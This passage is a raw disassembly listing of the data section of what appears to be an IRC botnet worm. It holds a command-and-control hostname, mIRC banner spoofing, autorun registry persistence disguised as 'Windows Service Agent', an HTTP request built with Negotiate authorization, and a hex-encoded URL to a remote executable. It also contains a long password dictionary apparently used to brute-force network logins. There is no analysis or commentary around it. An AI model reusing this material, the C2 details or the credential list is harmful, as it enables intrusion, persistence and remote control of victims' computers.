0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427638 dd 2Eh ; DATA XREF: sub_401AC7+3448o ; sub_401AC7+3527o ... dword_42763C dd 2Eh ; DATA XREF: sub_401AC7+3857o ; sub_401AC7+3897o ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4C9+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2DB+2Fr dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2DB+15r dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D327+16Fr ; sub_40D765r ... align 8 dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D327+79r dword_4276A0 dd 0 ; DATA XREF: sub_40D4C9+4Do ; sub_40D815+5Bo ... flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040E71Cr dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:00416A11r ; ___:00416A2Cr ... dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417E35+3E5r dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417E35+3C5r dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417E35+342r ; sub_417E35+3A7r dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417E35+271r dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417E35+24Br ; sub_417E35+2D5r ... dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417E35+E1r dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417E35+AEr ; sub_417E35+138r ... dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417E35+93r ; sub_417E35+308r dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417E35+21r dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418B82+2Br flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A9BC+1AEr flt_427704 dd 8.0 ; DATA XREF: sub_41A9BC+1A8r ; sub_41F5D4+4Ar flt_427708 dd 0.0 ; DATA XREF: sub_41A9BC+16Fr flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A9BC+166r dbl_427710 dq 1.0 ; DATA XREF: sub_41CDE5+6Cr ; sub_41CF2B+6Cr ... dd 0FFFFFFFFh, 41E1AAh, 41E1BEh byte_427724 db 6 ; DATA XREF: sub_41F5D4:loc_41F62Br db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43A89Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: ___:off_43A898o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43AB14o dbl_427848 dq 0.0 ; DATA XREF: sub_421294+8Cr ; sub_421294+ACr ... dbl_427850 dq 4.195835e6 ; DATA XREF: sub_4217A9+Fr dbl_427858 dq 3.145727e6 ; DATA XREF: sub_4217A9+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4217E7+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4217E7o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_42190E+93o align 10h dword_427890 dd 0FFFFFFFFh, 421FF9h, 422003h, 0 ; DATA XREF: sub_421F92+5o dword_4278A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4220C1+5o dd offset loc_42217F align 10h dd offset sub_42215D dd offset sub_422167 dword_4278B8 dd 0FFFFFFFFh, 4223AFh, 4223B3h, 0 ; DATA XREF: sub_4221F7+5o dword_4278C8 dd 0FFFFFFFFh, 422411h, 42241Ah, 0 ; DATA XREF: sub_4223BB+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42249C+5o dd offset loc_4224ED align 8 dd offset loc_4224D9 dd offset loc_4224DD dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4224F2+5o dd offset loc_422543 align 10h dd offset loc_42252F dd offset loc_422533 dword_427908 dd 2 dup(0) ; DATA XREF: sub_4229D2+36o ; sub_423BF4+39o ... dword_427910 dd 0FFFFFFFFh, 422AE2h, 422AE6h, 0FFFFFFFFh, 422B96h, 422B9Ah ; DATA XREF: sub_4229D2+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43ACECo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4234D1+119o align 4 asc_427BD8 db 0Ah ; DATA XREF: sub_4234D1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4234D1+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4234D1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4234D1+7Do align 8 dword_427C18 dd 0FFFFFFFFh, 423CEDh, 423CF1h ; DATA XREF: sub_423BF4+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4246FC+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424C88+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424C88+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424C88+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42559E:loc_425693o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_42559E+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_42559E+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_42559E+ADo align 4 dword_427CB8 dd 0FFFFFFFFh, 425F96h, 425F9Ah, 0FFFFFFFFh, 426005h, 426009h ; DATA XREF: sub_425DDF+5o dd 427DF4h ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 dd offset sub_4263B5 dd offset sub_4265D6 dd offset dword_427E40 off_427CE4 dd offset sub_42642C ; DATA XREF: sub_4263DE+3Ao ; sub_426448o ... dd offset sub_4263B5 dd offset loc_426612 dword_427CF0 dd 0 ; DATA XREF: sub_4263DE+16o ; sub_4264B0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426453+11o dd offset dword_427E8C off_427D10 dd offset sub_42653B ; DATA XREF: sub_426557o ; sub_42657A+37o ... dd offset sub_4263B5 dd offset loc_4265F4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42657A+11o dd offset dword_427ED0 off_427D30 dd offset loc_426760 ; DATA XREF: sub_42674Bo ; ___:off_43B414o ... dd offset dword_427F00 off_427D38 dd offset loc_42677C ; DATA XREF: sub_426798+8o ; sub_4267D5+8o ... dd offset sub_426835 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_426835+7o align 8 dword_427D58 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426842+Eo dd 3, 19930520h, 2 dup(0) dword_427D78 dd 0FFFFFFFFh, 4269F3h, 4269F7h, 0FFFFFFFFh, 426A70h, 426A74h ; DATA XREF: sub_4268F1+5o dword_427D90 dd 0FFFFFFFFh, 426C68h, 426C6Ch, 0FFFFFFFFh, 426CC5h, 426CC9h ; DATA XREF: sub_426B7C+5o dd 43B414h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DC0 dd offset off_43B42C ; DATA XREF: ___:00427DD8o ; ___:00427E24o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset dword_427D90+18h dword_427DE0 dd 3 dup(0) ; DATA XREF: ___:00427E04o dd 2, 427DD8h, 3 dup(0) dd offset off_43B42C dd offset dword_427DE0+4 off_427E08 dd offset off_43B44C ; DATA XREF: ___:00427E20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E08 dd offset off_427DC0 dd offset dword_427D90+18h dword_427E2C dd 3 dup(0) ; DATA XREF: ___:00427E50o dd 3, 427E20h dword_427E40 dd 3 dup(0) ; DATA XREF: ___:00427CE0o dd offset off_43B44C dd offset dword_427E2C+4 off_427E54 dd offset off_43B46C ; DATA XREF: ___:00427E6Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E54 dd offset off_427DC0 dd offset dword_427D90+18h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427E9Co dd 3, 427E6Ch dword_427E8C dd 3 dup(0) ; DATA XREF: ___:00427D0Co dd offset off_43B46C dd offset dword_427E78+4 off_427EA0 dd offset off_43B490 ; DATA XREF: ___:00427EB8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427EA0 dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427EE0o dd 1, 427EB8h dword_427ED0 dd 3 dup(0) ; DATA XREF: ___:00427D2Co dd offset off_43B490 dd offset dword_427EBC+4 dd offset dword_427D90+18h dword_427EE8 dd 4 dup(0) ; DATA XREF: ___:00427F10o dd 1, 427EE4h dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D34o dd offset off_43B414 dd offset dword_427EE8+8 align 8 dword_427F18 dd 19930520h, 2, 427F38h, 5 dup(0) ; DATA XREF: ___:loc_426D63o dd 0FFFFFFFFh, 426D4Ch, 0 dd offset sub_426D44 dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426D80o dd 0FFFFFFFFh, 426D70h, 0 dd offset loc_426D78 dword_427F78 dd 19930520h, 2, 427F98h, 1, 427FA8h, 3 dup(0) ; DATA XREF: ___:loc_426D8Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FC0h, 4 dup(0) dd offset loc_40DA7F dd 0FFFFFFFFh, 426D96h dword_427FD8 dd 19930520h, 1, 427FD0h, 5 dup(0) ; DATA XREF: ___:loc_426D9Eo dd offset off_43B414 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 4267D5h, 0 dd offset off_43B42C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4264F8h, 0 dd offset off_43B44C align 8 dd 0FFFFFFFFh, 0 dword_428040 dd 1Ch, 426562h, 3, 42802Ch, 428010h, 427FF4h ; DATA XREF: ___:00428064o dword_428058 dd 0 ; DATA XREF: sub_426453+2Eo ; sub_4265D6+4Bo dd offset sub_426448 dd 0 dd offset dword_428040+8 dd 0FFFFFFFFh, 426DA8h dword_428070 dd 19930520h, 1, 428068h, 4 dup(0) ; DATA XREF: ___:loc_426DB0o dd 0FFFFFFFFh, 426DBAh dword_428094 dd 19930520h, 1, 42808Ch, 4 dup(0) ; DATA XREF: ___:loc_426DC2o dd 0FFFFFFFFh, 426DCCh dword_4280B8 dd 19930520h, 1, 4280B0h, 5 dup(0) ; DATA XREF: ___:loc_426DD4o dd offset off_43B46C align 10h dd 0FFFFFFFFh, 0 dword_4280E8 dd 1Ch, 4265BEh, 3, 4280D4h, 428010h, 427FF4h ; DATA XREF: ___:0042810Co dword_428100 dd 0 ; DATA XREF: sub_42657A+2Eo ; sub_4265D6+2Do dd offset sub_426557 dd 0 dd offset dword_4280E8+8 dd 0FFFFFFFFh, 426DDEh dword_428118 dd 19930520h, 1, 428110h, 4 dup(0) ; DATA XREF: ___:loc_426DE6o dword_428134 dd 2, 428010h, 427FF4h ; DATA XREF: ___:0042814Co dword_428140 dd 0 ; DATA XREF: sub_4265D6+Fo dd offset sub_42639A dd 0 dd offset dword_428134 dd 5 dup(798F4FA5h), 5 dup(2B4E434Bh), 5 dup(2EC7102Ah) dd 7Ah dup(0) dd 2EC7102Ah, 0 dd 798F4FA5h, 15h dup(0) dd 2B4E434Bh, 0Eh dup(0) dd 53524556h, 2E4E4F49h, 6C6C64h, 2F9h dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041BF23o dd offset loc_401205 dd offset sub_40DB2D dd offset sub_40E283 dd offset dword_40EEEC+1D0h dword_429014 dd 0 ; DATA XREF: ___:0041BF1Eo dword_429018 dd 0 ; DATA XREF: ___:0041BF14o ; --------------------------------------------------------------------------- retn 41D7h ; --------------------------------------------------------------------------- align 10h dd offset sub_4201A2 dd offset sub_42383E dd offset word_424662 dword_42902C dd 0 ; DATA XREF: ___:loc_41BF0Fo dword_429030 dd 0 ; DATA XREF: sub_41BF53+65o dd offset sub_4238E3 dword_429038 dd 0 ; DATA XREF: sub_41BF53:loc_41BFB3o dword_42903C dd 0 ; DATA XREF: sub_41BF53+76o dd offset byte_424673 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41BF53:loc_41BFC4o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016BFr ; ___:00401754r dword_429070 dd 13FBh ; DATA XREF: ___:004017A0r dword_429074 dd 1A08h ; DATA XREF: sub_401AC7:loc_4045E2r dword_429078 dd 45h ; DATA XREF: sub_401AC7+201Er ; sub_40BD7C+3Br dword_42907C dd 1F90h ; DATA XREF: sub_401AC7:loc_403BD0r ; sub_40BD7C:loc_40C16Dr dword_429080 dd 201h ; DATA XREF: sub_401AC7:loc_403D5Cr word_429084 dw 7C7h ; DATA XREF: sub_401AC7:loc_404705r align 4 dword_429088 dd 1 ; DATA XREF: sub_401AC7+640r dword_42908C dd 1 ; DATA XREF: ___:loc_40155Fr ; sub_418857+Cr byte_429090 db 2Eh ; DATA XREF: sub_401AC7+A6Ar ; sub_401AC7+B23r ... align 4 dword_429094 dd 5 ; DATA XREF: sub_40AAA0+39r ; sub_40AAA0+5Fr ... dword_429098 dd 6 ; DATA XREF: sub_4017E7+78r ; sub_401AC7+27Cr ... dword_42909C dd 1 ; DATA XREF: sub_4017E7+72r ; sub_401AC7+276r a1221 db '1221',0 ; DATA XREF: ___:0040127Eo ; sub_401AC7:loc_40443Do ... align 4 aZxvsVrx db 'ZxVs VRX',0 ; DATA XREF: sub_401AC7:loc_40490Co align 4 aCool db 'cool',0 ; DATA XREF: sub_401AC7+7BD0o ; sub_401AC7+7C9Fo align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016ABo ; ___:00401745o byte_4290D0 db 56h ; DATA XREF: sub_40194F+28r ; sub_40194F+30o db 72h, 58h, 0 dword_4290D4 dd 41414623h, 234Bh ; DATA XREF: ___:004016CBo ; ___:0040175Bo ... dword_4290DC dd 64616173h, 2Eh ; DATA XREF: ___:004016E2o ; ___:0040176Do byte_4290E4 db 73h ; DATA XREF: ___:loc_401783r ; ___:00401791o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak db '#FAAK#',0 ; DATA XREF: ___:004017A7o align 10h aSaad_ db 'saad.',0 ; DATA XREF: ___:004017B9o align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401361o ; ___:00401385w ... db 73h, 6Eh, 73h dd 2E737267h, 657865h, 6E6E6977h, 61622E74h, 74h aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo align 4 aVrx db 'VrX|',0 align 10h aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401AC7+7D1Fo align 4 aF db '#f',0 ; DATA XREF: sub_401AC7+1E81o ; sub_401AC7+1E92o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401AC7+72B0o ; sub_401AC7+7305o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401AC7+40EEo ; sub_401AC7+423Bo align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401AC7:loc_4096E1o ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+89Er ; sub_401AC7+7C36o ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A367+28o ; sub_41A68B+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A367+D4o ; sub_41A68B+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h dd 4298A0h, 429898h, 429894h, 0 dd offset byte_43B4B8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4294D0 dd 10h ; DATA XREF: sub_401AC7+AD3r ; sub_401AC7+AFFr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo align 10h aLan db 'lan',0 ; DATA XREF: ___:004294B4o aMain db 'main',0 ; DATA XREF: ___:004294B0o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo aBlank db 'blank',0 ; DATA XREF: ___:004294A8o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A4o align 4 aControl db 'control',0 ; DATA XREF: ___:004294A0o aXp db 'xp',0 ; DATA XREF: ___:0042949Co align 10h aNokia db 'nokia',0 ; DATA XREF: ___:00429498o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429494o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co align 4 aDell db 'dell',0 ; DATA XREF: ___:00429488o align 4 aCisco db 'cisco',0 ; DATA XREF: ___:00429484o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:00429480o aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o align 10h aSql db 'sql',0 ; DATA XREF: ___:00429470o aSa db 'sa',0 ; DATA XREF: ___:0042946Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o align 10h aDb1 db 'db1',0 ; DATA XREF: ___:00429460o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co align 4 aData db 'data',0 ; DATA XREF: ___:00429458o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co align 4 aAccess db 'access',0 ; DATA XREF: ___:00429448o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429438o align 10h aHello db 'hello',0 ; DATA XREF: ___:00429434o align 4 aHell db 'hell',0 ; DATA XREF: ___:00429430o align 10h aGod db 'god',0 ; DATA XREF: ___:0042942Co aSex db 'sex',0 ; DATA XREF: ___:00429428o aSlut db 'slut',0 ; DATA XREF: ___:00429424o align 10h aBitch db 'bitch',0 ; DATA XREF: ___:00429420o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co align 10h aExchange db 'exchange',0 ; DATA XREF: ___:00429418o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429414o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00429410o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co align 4 aLogin db 'login',0 ; DATA XREF: ___:00429408o align 4 aMary db 'mary',0 ; DATA XREF: ___:00429404o align 4 aKatie db 'katie',0 ; DATA XREF: ___:00429400o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293F8o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F4o align 4 aEric db 'eric',0 ; DATA XREF: ___:004293F0o align 4 aChris db 'chris',0 ; DATA XREF: ___:004293ECo align 4 aIan db 'ian',0 ; DATA XREF: ___:004293E8o aNeil db 'neil',0 ; DATA XREF: ___:004293E4o align 10h aLee db 'lee',0 ; DATA XREF: ___:004293E0o aBrian db 'brian',0 ; DATA XREF: ___:004293DCo align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D4o align 4 aSue db 'sue',0 ; DATA XREF: ___:004293D0o aSam db 'sam',0 ; DATA XREF: ___:004293CCo aLuke db 'luke',0 ; DATA XREF: ___:004293C8o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004293C4o ; ___:004293D8o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293C0o align 4 aMike db 'mike',0 ; DATA XREF: ___:004293BCo align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B8o align 4 aFred db 'fred',0 ; DATA XREF: ___:004293B4o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293B0o aJen db 'jen',0 ; DATA XREF: ___:004293ACo aBob db 'bob',0 ; DATA XREF: ___:004293A8o ; ___:004293FCo aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o aAsd db 'asd',0 ; DATA XREF: ___:0042939Co aQaz db 'qaz',0 ; DATA XREF: ___:00429398o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co align 10h aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429384o align 10h aWindows db 'windows',0 ; DATA XREF: ___:00429380o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o aOem db 'oem',0 ; DATA XREF: ___:00429374o aUser db 'user',0 ; DATA XREF: sub_401AC7+45F2o ; ___:00429370o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co align 4 aHome db 'home',0 ; DATA XREF: ___:00429368o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o align 4 aInternet db 'internet',0 ; DATA XREF: ___:0042935Co ; ___:004294B8o align 10h aWww db 'www',0 ; DATA XREF: ___:00429358o aWeb db 'web',0 ; DATA XREF: sub_401AC7+727Fo ; ___:00429354o aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o aMail db 'mail',0 ; DATA XREF: ___:0042934Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o align 10h aNull_1 db 'null',0 ; DATA XREF: ___:00429344o align 4 aServer db 'server',0 ; DATA XREF: sub_401AC7+3E8Fo ; 